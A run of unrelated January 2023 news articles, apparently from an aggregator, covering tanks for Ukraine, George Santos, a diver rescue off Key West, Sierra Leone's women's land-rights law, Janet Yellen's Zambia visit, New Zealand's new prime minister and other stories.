On Jan. 24, German media reported that Berlin will imminently greenlight shipments of German-made tanks to Ukraine.

Read also: Poland requests German approval to send Leopard 2 tanks to Ukraine

Prior to this, Sky News Arabia, citing a source in the Pentagon, reported that U.S. President Joe Biden might transfer ten Abrams tanks to Ukraine  in order to prod German Chancellor Olaf Scholz to do the same.

According to German media, Scholz earlier told Biden that he would approve the transfer of German Leopard tanks to Ukraine if Washington supplied Kyiv with Abrams tanks. German Defense Minister Boris Pistorius subsequently denied this precondition was ever mentioned.

Read the original article on The New Voice of Ukraine
The publisher of The Washington Post on Tuesday slammed former Secretary of State Mike Pompeo for his comments on U.S.-based journalist Jamal Khashoggi, a columnist at the paper who was killed by Saudi Arabia in 2018.

Pompeo, who is considering a run for the Republican nomination for president in 2024, in a new book dismissed the idea that Khashoggi was a Saudi Arabian Bob Woodward and downplayed the worldwide outcry that followed his slaying as faux outrage  fueled by the media.

In truth, Khashoggi was an activist who had supported the losing team in a recent fight for the throne  unhappy with being exiled, Pompeo wrote in Never Give an Inch: Fighting for the America I Love.

In a statement on Tuesday, Post publisher Fred Ryan blasted the Republican, calling his statements shocking and accusing him of outrageously misrepresenting Khashoggis life and work.

It is shocking and disappointing to see Mike Pompeos book so outrageously misrepresent the life and word of Washington Post columnist Jamal Khashoggi. As the CIA  which Pompeo once directed  concluded, Jamal was brutally murdered on the orders of Saudi Crown Prince Mohammed Bin Salman, Ryan said.

It is shameful that Pompeo would spread vile falsehoods to dishonor a courageous mans life and service  and his commitment to principles Americans hold dear  as a ploy to sell books, he added.

The Posts publisher has been critical of other elected officials regarding Khashoggis killing, blasting President Biden over a decision by the U.S. to grant immunity to bin Salman in a lawsuit over Khashoggis death at a Saudi Consulate in Turkey.

Khashoggis widow Hanan Elatr also ripped Pompeo for the remarks in his book.

Whatever he [Pompeo] mentions about my husband, he doesnt know my husband. He should be silent and shut up the lies about my husband, Elatr told NBC News in an interview. It is such bad information and the wrong information.  This is not acceptable.

For the latest news, weather, sports, and streaming video, head to The Hill.
A familys sea rescue mission to save a member of its crew whod gone missing for hours has reeled in TikTok users and gone viral.

Three days ago, Priscilla Gartenmayer posted on TikTok a video of the moment her family spotted her missing cousin, 22-year-old Dylan Gartenmayer, floating on a makeshift raft.

In the clip, Gartenmayer family members burst into cheers and tears when they realize theyve finally found Dylan, whod gone missing hours earlier while free diving on Jan. 19.

Speaking to NBC affiliate WTVJ, the family says Dylan had been missing for nearly three hours.

Dylan says he can go more than 100 feet deep on a single breath underwater while free diving  forgoing the aid of a breathing apparatus like scuba gear. As weather conditions blustered, Dylan and the two friends hed been on the boat with decided to head back. Still, the temptation to squeeze in one more splash won out, and as Dylan put it, thats where everything started happening.

Dylan was in a free dive at almost 35 feet when the Gulf Stream current drew him out of waters that were nearly 150 feet. For about two minutes, Dylan says he remained underwater, holding his breath.

So thats how I ended up getting separated, he explained. They were mainly looking down, thinking I blacked out from a lack of oxygen.

When he resurfaced, Dylan says he found that he was nearly an entire mile away from his original diving spot and swam more than a mile to reach a channel marker.

I had a bunch of bait floating up around me and everything, Dylan noted. I knew that there were big fish eating those baits, and there were sharks that were going to be shortly behind them. I was ready to fight the night out, but Im glad I didnt have to.

At the same time, his family  who has lived and spearfished in the Key West area for generations  had already set out to find him.

Dylans mother, Tabitha Gartenmayer, learned about his missing status over the phone.

And we get the call from my ex-husband, said Tabitha. Tab, somethings wrong with Dylan. They havent seen him in an hour. And from that moment on, this feeling came over me, just like this, and I couldnt breathe. I couldnt talk.

Story continues

Immediately she launched a mission to find Dylan. A neighbors surveillance video shows the moment the Gartenmayer family sped off down the canal and to the ocean in search of her son.

(Tabitha) was very much insisting, drop that boat right now, Jamie Cooke, a friend of the Gartenmayer family, explained to WTVJ.

By that time, the U.S. Coast Guard was deep into their search for Dylan and had sent out helicopters and boats to save him, so the Gartenmayer crew opted to head to the last place hed been seen.

Eventually, it was Joel, a friend of Dylans, that spotted his makeshift raft of tied-together mooring balls.

Dylan had, by then, seen the Coast Guard in the distance conducting their grid-pattern search to find him and heard the sound of a boat coming up from behind him.

Dylans cousin Priscillas other TikTok videos capture the moment the boat (loaded with his family and friends) gets to him and pulls him on board.

My mom took my dive gear, Dylan recalled. She just started hugging, crying.

According to Priscillas TikTok, soon after her family pulled Dylan from the water, the Coast Guard took him to their station and checked his vitals.

That was really emotional for me, Priscilla said of seeing him be pulled on board. So, you know, we know how lucky we are to have so still have Dylan here.

Lieutenant commander Elizabeth Tatum, a search and rescue mission coordinator for Sector Key West, commented to NBC News about Dylans rescue.

The Coast Guard is grateful to know that Mr. Gartenmayer was found safe, she said. Thanks to the coordinated search efforts of Coast Guard Sector Key West watchstanders and Mr. Gartenmayers family, this case resulted in a positive outcome. Too often, missing diver cases dont have positive outcomes, and the circumstances of this case didnt forecast for one. Sunset, weather conditions and Dylans outfit were playing against us in this case, but his foresight to lash mooring balls together to make him a bigger target in the water was smart.

Tatum added that the most significant piece of advice that they can offer to the public is that the SAR system worked as intended.

We broadcast Urgent Marine Information Broadcasts to notify the public that an emergency exists, she added. The CG doesnt care who conducts the rescue as long as the person is rescued.

The relief of knowing Dylan survived has since spilled over to TikTok, where users have praised the family for their fast-acting and speedy recovery.

This low-key made me cry, lol, one user wrote. Imagine getting lost alone out at sea, then you just see your family pulling up shouting your name.

THIS is what real family do!!!!! another commented. Love it.

This article was originally published on TODAY.com
Sandra Ali at WDIV.

After 13 years at WDIV-TV (Channel 4), award-winning anchor and reporter Sandra Ali announced her departure during her last newscast Sunday night.

"I'm moving on to a wonderful, new opportunity," Ali said. "This decision was my own. I'm excited and focused on the future."

Although she has not yet announced her next venture, she told viewers on Sunday, "I cant wait to see you all again on TV soon."

Ali delivered the news for WDIV at 6 p.m. and 11 p.m. every weekend. She has made regular network appearances on CNN and Fox News and often spoke about her experience as an Arab American woman balancing Middle Eastern and western cultures.

The mother of four was born in New York City but raised in Egypt during her early childhood.

More: Michigan man files lawsuit against Adidas

More: 4 or more inches of snow in forecast for Wednesday

Ali began her career on television at the CBS affiliate in Altoona, Pennsylvania. Two years later, she moved to Michigan to report for Fox 2 News and anchor the top-rated weekend editions of "Fox 2 Detroit" at 6 p.m. and 10 p.m.

In 2004, Ali left Michigan to join the NBC affiliate in Cincinnati, Ohio, as the station's main anchor. She worked there for six years before moving back to Detroit and working as an anchor at WDIV until this year.

Ali said she will miss the friendships she made at WDIV the most.

"Im honored youve allowed me to come into your homes, night after night," she said. "I take that role very seriously."

Contact Nour Rahal: nrahal@freepress.com

This article originally appeared on Detroit Free Press: WDIV anchor Sandra Ali leaving Detroit station after 13 years
A tire flew off of an NYPD van leaving an Upper West Side NYCHA housing complex after someone apparently loosened the lug nuts, the Daily News has learned.

No one was hurt but the van was damaged after the vandalism caused the rotors to hit the ground, according to an internal NYPD memo.

It was not immediately clear when the suspected sabotage happened, but the department encouraged members of Housing Bureau Manhattan to manually inspect lug nuts on your vehicles prior to driving off.

Given todays climate and for safety purposes that extra 5-10 seconds to double check wont hurt, the memo reads.

The cops, members of the NYPDs Field Training Unit, were responding to report of gunshots at the Frederick Douglass Houses on Columbus Ave. and W. 100th St., the memo noted.

The van had been parked and left unattended for about an hour when the officers returned and drove off.

Moments later the tire flew off the van, the memo states. A civilian found the tire across the street and brought it back to them.

An NYPD spokesman said the incident is under investigation.

This happened after midnight when the streets were mostly clear, but what if that tire hit a civilian or cops were on the highway? the memo says.

In 2015, cops were instructed to check the tires on their NYPD and personal vehicles after someone loosened the lug nuts on a police cruiser sitting in a parking lot outside the 83rd Precinct stationhouse in Bushwick. That vandal also removed the lug nuts from private vehicles belonging to three cops.
MSNBCs Rachel Maddow on Monday aired an exclusive video of serial liar Rep. George Santos (R-N.Y.) claiming to have been the subject of an assassination plot and the victim of a mugging on Fifth Avenue in New York.

We have already suffered an attempt on my life, an assassination attempt, a threatening letter, having to have the police, a police escort standing in front of our house, the then-congressman-elect told the Brazilian podcast Radio Novelo Apresenta in December.

Santos alleged his Florida home was vandalized in January 2021 because we were at a Republican party to celebrate the new year.

And he said two white men mugged him in broad daylight on Fifth Avenue in the summer of 2021, stealing his shoes, watch and briefcase.

That wasnt the worst of it, he told the podcast host. Nobody did anything. Nobody did anything. The fear is real. Its surreal what we live through here.

Surreal is one word for it, Maddow said after showing the footage.

After Santos won his congressional seat in the 2022 midterms, it emerged that he had fabricated much of his life story.

Santos did not respond to Maddows request for comment on the claim, she said. We have also put in a records request with the NYPD for any police report that matches what Mr. Santos described, the anchor added.

Watch the video here:

EXCLUSIVE: Rachel Maddow shares new video of Republican Rep. George Santos in an interview with a Brazilian media outlet describing being the victim of a mugging and an assassination attempt. pic.twitter.com/EhPYiSNswk  Maddow Blog (@MaddowBlog) January 24, 2023

Related...
Its a new dawn for the women of Sierra Leone after president Julius Maada Bio assented into law the Gender Equality and Womens Empowerment 2021 bill on Jan. 19, which will be implemented alongside the Customary Land Rights Act 2022 (pdf), allowing them equal rights as men to own, lease, or buy land in the country.

The law signifies a huge leap forward in including women in the development of the west African countrys real estate industry, which, due to deeply rooted cultural norms, has been under the control of men.

Read more

Despite the fact that the 2007 Devolution of State Act gave women the legal right to inherit land, in reality, they have been blocked from the decision making process in land ownership by customary laws that require women to take a back seat and be represented by their husbands at the decision table.

Any customary law that excludes, limits or inhibits women from owning, holding, using, transferring, inheriting, succeeding to or dealing with land subject to customary law shall be void, states the Customary Land Rights Act signed into law last August.

But women who have attempted to fight for their land ownership rights have previously been exposed to violence from men, with many traditional norms enforced to silence them, calling for a new law that now promises to create gender parity in all spheres of economic development.

The civil war escalated violation of womens rights

The 1991-2002 Sierra Leone civil war made the situation worse with men orchestrating mass violation of human rights against women, further relegating them to the status of second-class citizens with diminished rights The rebels burned our schools, raped, and impregnated our women and girls. They destroyed us, Sally Adams, president of Womens Forum Sierra Leone told Quartz.

Maryann Kaikai, who runs a fashion business in Freetown told Quartz that the tendency by men to frustrate women who try to own land in Sierra Leone has been a huge challenge for women seeking self determination in property ownership. They will do everything to try to repossess the land, she said. About 70% of Sierra Leoneans live in rural areas and women comprise 52% of the countrys population.

Story continues

In Sierra Leone, 83% of the owned land belongs to the family, with customs requiring the oldest male hold the land in trust or with a paramount chief being the holder of communal land. At least 95% of its land is governed by customary law which prevails where there is no statutory law. That has made it difficult for women to own land.

But years of advocacy through various women associations in the capital Freetown and upcountry, the ministry of Gender, the office of the First Lady, and UN Women birthed the drafting of the bill in August 2021 (pdf). It went through the necessary parliamentary readings till it was passed into law.

You could be jailed for five years for discriminating against women

Women can now be appointed paramount chiefs, with the new law demanding a 30% representation in public and private offices. The Act states that a person who discriminates in providing access to land resources, based on gender commits an offence and is liable on conviction to a fine of not less than $2,600 or to imprisonment for a term not less than 5 years or both.

Gender minister Manty Tarawalli told Quartz the attitudes and mindsets among men have been gradually changing in recent years, paving way for acceptance of the clauses of the law, through various public participation forums across the country.

We have crossed the massive hurdles. The conversation has changed organically from rights-based to economic growth. Those that were opposed are now willing. We expect less challenges in implementation, says Tarawalli. A change in mindset will not happen immediately, but slowly were getting there.

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A Woonsocket man who ran over his sometime girlfriend three years ago was sentenced to life in prison Monday, Rhode Island Attorney General Peter F. Neronha said.

James Grilli, 39, pleaded no contest on Monday to one count of second-degree murder and one count of leaving the scene of an accident, death resulting, Neronha said in a news release.

Grilli ran over and killed Erika Belcourt, 43, of Woonsocket, with his car after an argument on Aug. 22, 2020, according to Neronha. He said the two had dated intermittently.

More:Crime in Providence: Is the city safer than ever before? What the numbers tell us

At about 5:30 that night, Grilli and Belcourt got into an argument at her apartment on Diamond Hill Road in Woonsocket, Neronha said. Belcourt's two sons were in the apartment, according to Neronha.

Belcourt asked Grilli to leave and take his belongings from the home, Neronha said. Grilli made made several trips to and from his car before he broke down the front door of Belcourt's apartment, prompting Belcourt to call the Woonsocket police, Neronha said.

While Belcourt was on the phone with the police and standing in front of Grilli's black Ford SUV, Grilli revved the engine several times and then ran her over, Neronha said. Grilli then drove away, leaving Belcourt lying severely injured in the parking lot, Neronha said.

Belcourt was taken to a hospital, where she was pronounced dead several hours later.

Grilli was arrested in Pawtucket later that night.

Neronha said, This extraordinary act of domestic violence took the life of a mother of two who had much to live for. The defendants outrageous conduct has now landed him precisely where he belongs: in state prison for decades to come."

"Nothing can return Erika to her family and friends, but I hope that this long sentence brings them a measure of justice," Neronha said. "I remain grateful to the Woonsocket Police Department for their strong work during the investigation and prosecution of this case, as in so many others.

Superior Court Justice Richard Raspallo sentenced Grilli to life at the Adult Correctional Institutions.

This article originally appeared on The Providence Journal: Life in prison for Woonsocket man who ran over, killed girlfriend
BAMAKO, Mali (AP)  A World Health Organization employee was abducted by unidentified assailants in northern Mali, the U.N. agency's director-general said Tuesday.

Dr. Mahamadou Diawara was kidnapped from his car in the town of Menaka on Monday, WHO Director-General Tedros Adhanom Ghebreyesus told a news conference.

Health workers should never be a target, Tedros said.

WHO is working with authorities to investigate the abduction.

The West African nation has been battling a decade-long jihadi insurgency that has killed thousands. Jihadi groups linked to al-Qaida and the Islamic State group have used hostage-taking for ransom as a way to fund operations and expand their presence.

Diawara has been working with WHO in Menaka for three years, providing medical care to communities that are often remote and face security risks and violence, the U.N. said. The driver of his car was attacked but not abducted, and he is recovering.

The kidnapping comes two months after a German priest was taken from Malis capital, Bamako. Rev. Hans-Joachim Lohre was abducted in November while preparing to celebrate Mass.

There are multiple armed groups in the Menaka region, but IS has a significant presence there, conflict analysts say.

While unclear if the group is responsible for the kidnapping, there should be a concern of him being transferred to the group in exchange for money, said Rida Lyammouri, senior fellow at the Policy Center for the New South, a Morocco-based think tank focused on economic and social policies.
Yale University has honored 9-year-old Bobbi Wilson after her story from New Jersey gained national support. Last year, Wilsons mission to create a lanternfly repellent and spray the bugs in her area led to a neighbor calling the cops on her.

According to CBS, Wilson learned about the invasive species in class and decided she wanted to help her community.

I mixed water, dish soap, and apple cider vinegar, she said.

Wilson made the TikTok-instructed concoction and began using it outside her home in New Jersey when a neighbor saw her and called the cops.

Theres a little Black woman walking and spraying stuff on the sidewalks and trees. I dont know what the hell shes doing. Scares me, though, the neighbor told a 911 operator.

Wilsons mother, Monique Joseph, said the neighbor was racially profiling her daughter.

Those exact words in another town, another state, I could be grieving, Joseph said.

Wilsons story fell into the hands of Ijeoma Opara, a Yale School of Public Health assistant professor. After reading about the incident, Opara decided to take the young entomologist under her wing.

Oh yeah, Bobbi belongs here. Bobbi is Yale, Opara said.

Opara not only invited Wilson to campus, but she introduced her to Black scientists.

A core of my research focuses on empowering Black girls against gendered racism, so when I heard about the story of Bobbi, it was personal to me, and I wanted to do everything in my power to make sure that that bad memory was replaced with a good one, Opara said to NJ.com.

I wanted her to be exposed to not just Yale but other women scientists and students who can inspire her and her sister, she added.

The Yale Peabody Museum of Natural History added a collection of lanternfly specimens that Wilson captured after her first initial meeting with Opara.

Wilsons findings make her one of the youngest to submit specimens to the museum.

Wilson told NJ.com that she is Happy and proud to see the bugs added to Peabody.

The Peabody Museums entomology collection holds over 1.5 million insect specimens. The lanternfly specimen is the museums first spotted lanternfly collection from the United States, and it was named after Wilson.
CHONGWE, Zambia (AP)  U.S. Treasury Secretary Janet Yellen traveled from a small farm on a rural red clay road to a ramen noodle manufacturing plant in Zambia's bustling capitol of Lusaka on Tuesday to showcase Africa's potential to help solve the world's problems with food shortages.

Yellen, midway through a 10-day tour of Africa, devoted her day to highlighting the agricultural investment potential of underdeveloped African nations, especially as Russia's invasion of Ukraine has exacerbated worldwide hunger and the cost of food.

As we tackle acute needs now, we must also take a longer view and scale up investment in long-term food system resilience. Africa is a perfect example of these dual challenges, Yellen said in Chongwe, a village an hour outside of Lusaka. She stood at her signature podium, surrounded by lush green fields of corn and with chickens grazing nearby.

The continent's potential is evident in one statistic: Africa has 60 percent of the worlds uncultivated arable land.

We want to advance a future where Africa participates more fully in global food and fertilizer markets and supply chains, Yellen said as farmers, mostly women wearing brightly colored wax cloth dresses, stood and listened.

They told Yellen stories of how they've sustained their communities  by sharing goats to mate to build a sustainable livestock supply and by developing collective savings groups and silos for grain.

Echinah Mfula, a Chongwe farmer and participant in the Twalumbu Savings Group, which helps its members pool money to buy livestock and food, said, It's been a challenge. It's been a big challenge for us, but we are successful."

In Zambia, roughly 2 million people face acute food insecurity, more than half the population lives below the poverty line and nearly half of the population is unable to meet minimum caloric intake needs.

It is a continent that faces acute food needs, Yellen said. "But it is one that also has the potential not only to feed itself but also to help feed the world  if the right steps are taken.

Story continues

Solving the countrys well-documented debt crisis is more important than ever if financing for new agricultural projects is to be possible.

Zambia became Africas first coronavirus pandemic-era sovereign nation to default when it failed to make a $42.5 million bond payment in November 2020. Negotiations over how to deal with the debt load have been ongoing.

Experts say a prolonged debt crisis could permanently prevent countries like Zambia from recovering, leading to an entire nation sliding deeper into poverty and joblessness.

Food insecurity is increasing around the globe, due to COVID-19, Russia's invasion of Ukraine, and rising food costs, according to a report released Tuesday by the U.N. Food and Agricultural Organization and other United Nations agencies. Nearly a half-billion people were undernourished in 2021 and more than 1 billion faced moderate to severe food insecurity, the report said.

On top of that, the costs of fertilizer and natural gas have exploded and global prices for food commodities like grain and vegetable oils were the highest on record in 2022.

Russia's invasion of Ukraine last February worsened the food insecurity crisis because the two countries were leading suppliers of wheat, barley, sunflower oil and other products, especially to nations in parts of Africa, the Middle East and Asia that were already struggling with hunger.

In the U.S., the Treasury Department issued a carve-out to the thousands of sanctions that have been imposed on Russia, to allow agricultural transactions and trade related to humanitarian aid and access to communications. The hope is to prevent some of the most damaging impacts of the war on vulnerable populations.

But in Zambia, Yellen said she sees solutions in home-grown firms like Java Foods Limited, a woman-owned company that produces low-cost, nutritionally fortified instant noodles. It targets low-income urban consumers and sources 100% of its wheat from Zambian farmers.

Monica Musonda, Java Foods' founder, told Yellen at a roundtable Tuesday that staying afloat has been difficult, since her firm is one of the only food manufacturers in Lusaka. But we are trying to make an impact in our community  you can see what we women can do.

Java has worked under USAIDs Feed the Future program and with Partners in Food Solutions, a non-profit founded by General Mills.

Yellen began her tour of Africa in Senegal and moves on to South Africa after Zambia.

This story was first published on January 24, 2023. It was updated on January 26, 2023 to correct the name of a nonprofit group to Partners in Food Solutions, not US Partnership for Food Solutions.
UNITED STATES - JANUARY 10: Rep. George Santos, R-N.Y., is seen outside a House Republican Conference meeting in the U.S. Capitol on Tuesday, January 10, 2023. (Tom Williams/CQ-Roll Call, Inc via Getty Images); NEW YORK, NY - JANUARY 17: Drag queen Trixie Mattel attends "RuPaul's Drag Race All Stars" Meet The Queens on January 17, 2018 in New York City. (Photo by Bennett Raglin/Getty Images)

Tom Williams/CQ-Roll Call, Inc via Getty; Bennett Raglin/Getty

Republican Rep. George Santos has waded into a back-and-forth with musician and RuPaul's Drag Race alum Trixie Mattel, with the drag star shading the controversial lawmaker after he mocked those impersonating him.

"I have now been enshrined in late night TV history with all these impersonations, but they are all TERRIBLE so far," Santos wrote on Twitter Monday. "Jon Lovitz is supposed to be one of the greatest comedians of all time and that was embarrassing for him not me! These comedians need to step their game up."

Mattel, who won season three of RuPaul's Drag Race All Stars, responded with: "Maybe the source material was weak."

I have now been enshrined in late night TV history with all these impersonations, but they are all TERRIBLE so far. Jon Lovitz is supposed to be one of the greatest comedians of all time and that was embarrassing for him not me! These comedians need to step their game up.  George Santos (@Santos4Congress) January 23, 2023

Santos then responded: "Clearly you know all about weak acting skills @trixiemattel," adding a gif of the drag queen impersonating RuPaul Charles on her season of All Stars, for which she was nearly eliminated from the competition.

Mattel then brought up Santos' own past history of drag, writing: "I am not an actor! I was young and I had fun at a festival!"

That's the same line Santos used when footage of him donning drag in Brazil recently surfaced. While the New York congressman admitted the footage was of him, he denied being a "drag queen," telling reporters: "No, I was not a drag queen in Brazil, guys. I was young and I had fun at a festival. Sue me for having a life."

I am not an actor! I was young and I had fun at a festival!  Trixie Mattel (@trixiemattel) January 24, 2023

Santos got the last word in the snarky Twitter exchange, telling Mattel, "It's all good! I won my race against the fan favorite too." (Mattel beat competitor Kennedy Davenport in season 3 of RuPaul's Drag Race All Stars; Santos beat Democrat Robert Zimmerman in a blue-leaning district.)

Story continues

RELATED: Fact-Checking the George Santos Claims: From Goldman Sachs Employee to College 'Volleyball Star'

Santos  who was elected in November to represent New York's 3rd Congressional District has been the subject of numerous headlines after The New York Times found that many the claims he made on the campaign trail and on his resume were unsubstantiated.

Santos has since admitted he lied about some things, such as working at Goldman Sachs and Citigroup, as he had previously asserted (he never worked at either), and attending Baruch College and New York University (he attended neither).

And while the Republican admitted that he had "embellished" some portions of his resume, more mysteries have lingered, like the source of his income, which has seemingly grown by hundreds of thousands  if not millions  of dollars in recent years.

Never miss a story  sign up for PEOPLE's free daily newsletter to stay up-to-date on the best of what PEOPLE has to offer.

Santos is currently the subject of probes by both the Nassau County District Attorney's Office and federal investigators who have opened an inquiry into his financial disclosures.

Santos has said he won't resign from office, even as some Republicans in Congress and in his own district have called on him to do so.

Earlier this month, a group of Nassau County, New York, Republicans called on Santos to resign in a press conference, with chairman Joseph Cairo telling reporters: "Today, on behalf of the Nassau County Republican Committee, I am calling for his immediate resignation. George Santos' campaign last year, 2022, was a campaign of deceit, lies, fabrication."

Cairo continued: "He deceived voters. His lies were not mere fibs. He disgraced the House of Representatives  He's not welcome here at Republican headquarters."
Both houses of New Yorks legislature are set to vote on enshrining the right to an abortion within the states constitution Tuesday evening.

Once the motion passes through the state Assembly and Senate, which it is expected to do by a wide margin, it could be brought before New Yorkers as early as November 2023. However, Politico suggests that representatives may wait until the following year, to coincide with the tailwinds of a presidential election in a deep blue state, for added protection.

Here in New York we will never let the extremist, anti-choice agenda to prevent anyone from accessing reproductive health care, Assembly Speaker Carl Heastie (Dem., D-83) said during an abortion-rights rally in Albany, Ny., on Tuesday.

A similar sentiment was echoed by Senate majority leader Andrea Stewart-Cousins (Dem., D-35) during a press conference prior to Tuesdays vote.

We are undeterred. This is our mandate to continue strengthening New Yorks status as a destination state where reproductive freedoms are protected and the right to choose is guaranteed, Stewart-Cousins affirmed.

In 2019, the New York legislature strengthened state laws surrounding abortion including prohibiting employment discrimination based on employee abortion decisions and insurance-covered access to contraception.

Following the overturning of Roe v. Wade by the Supreme Court last year, the body passed legislation protecting medical providers and patients seeking abortions from out-of-state litigation.

Republicans, who control less than a third of seats in the State Assembly, have opposed the move arguing that it discriminates against religious residents of New York.

The passage of the Equality Amendment would result in the further erosion of religious liberty for New Yorkers whose faith, traditions teach that abortion, homosexuality and/or transgenderism are immoral and could subject many faith-based charities and schools to catastrophic liability, David DiPietro (Rep., D-147) said during an earlier floor debate.

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Governor Kathy Hochul, who has made the issue of abortion central to her campaigning, also hailed the news.

I know more than any governor before me of what its like to be a woman and whether someone else in Washington has the right to take away what I should be able to decide on my own, Hochul said.

More from National Review
(Bloomberg) -- Alphabet Inc. is illegally using return-to-office policies as a tool to try to derail YouTube contract workers from organizing in Texas, a union alleged in a National Labor Relations Board complaint.

Most Read from Bloomberg

In the filing Tuesday, the Alphabet Workers Union accused the tech giant and a staffing firm of responding to a YouTube unionization campaign by announcing new stricter rules. Under the restrictions, set for February, refusing to return to the local office in Austin will be considered job abandonment and voluntary termination, the union said.

The policy change will punish workers who have grown accustomed to doing their jobs remotely and falls especially hard on employees who live outside the area, many of whom are pro-union, the group said. The complaint also alleges that a supervisor made implied anti-union threats and that management has been transferring work to offices in other places  including India  in an attempt to chill the union organizing effort by the Texas staff.

Treatment of contract workers has become a flashpoint for Alphabet  the owner of Google and its YouTube unit  which relies heavily on staffing firms to meet its labor needs. Contract employees became the majority of the companys global workforce in 2018, and Alphabet Workers Union has been trying to organize both direct and subcontracted staff.

Tuesdays complaint was filed against both the staffing vendor managing the workers, Cognizant Technology Solutions Corp., and Alphabet itself, which the union contends is a joint employer  a company that exercises enough control over workers to be legally responsible for their treatment and is obligated to negotiate if they do vote to unionize.

Story continues

Cognizant said Tuesday that its return-to-office policy has been communicated repeatedly and consistently to all of its associates since December 2021, long before workers petitioned to unionize.

The small number of associates who voluntarily left the Austin area and are unable or unwilling to return have the opportunity to be considered for assignments on other client projects at Cognizant, spokesperson Jeff DeMarrais said in a statement. There is simply no merit to these claims.

Alphabet didnt immediately respond to a request for comment.

Alphabet has denied being a joint employer of the YouTube contract workers. These have not been and are not our employees, company attorney Aaron Agenbroad said at a November NLRB hearing about the unionization petition, according to a transcript obtained via a Freedom of Information Act request.

The AWU, an affiliate of the Communications Workers of America, petitioned in October to represent the group of about 60 YouTube staff, saying the vast majority of them had signed up to join.

The workers jobs include ensuring videos are correctly labeled and looking into requests from users of YouTube Music. The team has been working remotely since early 2020, longer than most employees have worked there, and the announcement of the return-to-office push was abrupt, according to the union.

Suddenly when we say, Hey, were going to unionize, its like, Hey, lets get back to office, said YouTube worker Neil Gossell, an activist with the union campaign. So the timing on that seems really suspect.

In its statement, Cognizant said the employees were fully aware of the intention to return to the office prior to the filing of a petition.

All associates working on this project were hired with the understanding that the jobs were based in an Austin office location, Cognizants DeMarrais said.

If AWU successfully persuades the NLRB that Alphabet is a joint employer of the YouTube workers  and then prevails in a unionization vote  the internet company itself would be required to formally negotiate with the union for the first time.

Telework policies have been a contentious pandemic-era issue at all sorts of businesses, and the CWA has filed NLRB complaints against other employers for allegedly failing to fairly negotiate over it. Last spring, a group of Cognizant employees working on Google Maps in Washington state, who havent formally unionized but are organizing with AWU, threatened to go on strike over a return-to-office deadline they said was unsafe. According to the union, Cognizant then extended the deadline by 90 days.

(Updates with additional Cognizant comment in 13th paragraph.)

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By Lucy Craymer and Alasdair Pal

WELLINGTON (Reuters) -Labour leader Chris Hipkins was sworn in as New Zealand's prime minister in a formal ceremony on Wednesday, following the resignation of outgoing Prime Minister Jacinda Ardern last week.

The Labour party elected former COVID-19 Response and Police minister Hipkins, 44, to lead the party and the country on Sunday. Ardern, 42, resigned last week, saying she had "no more in the tank" to lead the country.

Hundreds gathered in the grounds of Parliament as Ardern left for the final time, hugging each of her members of parliament in turn, with many looking visibly emotional.

She then travelled to Government House, where she tendered her resignation to King Charles' representative in New Zealand, Governor General Cindy Kiro.

Hipkins and his deputy Carmel Sepuloni - the first person of Pacific Islander descent to hold the role - were then sworn in, in a ceremony lasting a few minutes.

Hours later, Hipkins met with journalists after his first cabinet meeting as Prime Minister. Bombarded with questions about the cost of living hours after fresh price data came in above analyst forecasts, Hipkins said he would make the issue central to his policy agenda.

However, he pushed back against announcing new policies immediately, saying he would make haste but not create policy on the fly.

New Zealanders will absolutely see in the coming weeks and months that cost of living is right at the heart of our work programme, he said.

It is the number one priority that we are facing as a government and they will see tangible evidence of that. Obviously Im not going to make it up on the fly, as Ive already indicated."

Hipkins said he would honour commitments already made for the current term of parliament.

Known as "Chippy", Hipkins is well-known to New Zealanders for his competence in tackling COVID-19, though he acknowledged some mistakes in handling the pandemic and faces a tough battle to retain power in an October general election.

A 1News-Kantar poll released in December had Labour's support falling to 33% from 40% at the start of 2022, meaning the party would not be able to form a majority even with traditional coalition partner the Green Party at 9%. The opposition National Party has benefited from Labour's decline.

(Reporting by Lucy Craymer, Alasdair Pal and Lewis Jackson; Editing by Josie Kao and Gerry Doyle)
Ukraine's National Security and Defense Council has banned state officials from leaving the country during martial law, except for official business trips, President Volodymyr Zelensky said in his evening address on Jan. 23.

Under martial law, Ukrainian men aged 18 to 60 are banned from leaving the country during the war, except for cases when they obtain special permits from the government. Some Ukrainian state officials and businesspeople have routinely abused this system and bypassed the restrictions.

The ban on state officials' travel abroad follows a scandal around Oleksiy Symoneko, a deputy prosecutor general.

Symonenko went for a vacation to Spain in December-January using a Mercedes car owned by Lviv-based businessman Grigory Kozlovsky, according to an investigation by online newspaper Ukrainska Pravda.

Symonenko has a shady background and faces the accusations of blocking corruption cases. He has helped destroy a bribery case against Zelenskys deputy chief of staff Oleh Tatarov, signing an order to transfer it from the independent National Anti-Corruption Bureau of Ukraine to the presidentially controlled Security Service of Ukraine.

Zelensky also said that the National Security and Defense Council had imposed sanctions against 21 representatives of the Russian Orthodox Church.

Among others, these include Mikhail Gundyayev, the nephew of Patriarch Kirill, the head of the Russian Orthodox Church. Mikhail Gundiayev is also the representative of the Russian Orthodox Church at the World Council of Churches.

Zelensky said that these Russian citizens are supporting terror and genocide while cloaking themselves with faith.

He also said that there would be a major government reshuffle. He did not name anyone, however.

Kyrylo Tymoshenko, a deputy chief of staff for Zelensky, has submitted his resignation, Ukrainska Pravda reported on Jan. 23, citing anonymous sources in the government.

He is expected to be replaced with Oleksiy Kuleba, governor of Kyiv Oblast, according to the sources.

The governors of Sumy, Dnipropetrovsk, Zaporizhzhia, and Kherson oblasts are expected to resign too, the sources said.

Lawmaker Yaroslav Zheleznyak said on Telegram that some regional governors would be fired and there might be at least three replacements at the Cabinet of Ministers.
Emmanuel Macron

In conversation with Emmanuel Macron, I thanked him for the breakthrough decision to provide light tanks and for the further strengthening of Ukraines defense capabilities, including with advanced air defense systems, Zelenskyy said.

Read also: Deal in works to remove military equipment from Russian-occupied Zaporizhzhya NPP, says Macron

The presidents also discussed diplomatic steps to end the war.

Additionally, the Ukrainian president stressed that athletes from Russia have no place at the 2024 Olympic Games in Paris.

Read also: Ukraine responds to French proposal to guarantee security for Russia

Previously, Macron said France does not rule out supplying Ukraine with Leclerc main battle tanks in the future.

Following talks between Ukrainian and French presidents Volodymyr Zelenskyy and Emmanuel Macron on Jan. 4, France agreed to provide Ukraine with AMX-10RC armored vehicles, which are sometimes classified as wheeled tanks  the first instance of armored vehicles of this type to be transferred to Kyiv.

Read the original article on The New Voice of Ukraine
Heavy snow has brought traffic nightmares to parts of Japan. Vehicles became stranded on many roadways. Trains also got stuck with passengers on board, prompting railway officials to review procedures.

In western Japan, more than a dozen trains stopped for hours. About 7,000 passengers were trapped inside overnight from Tuesday.

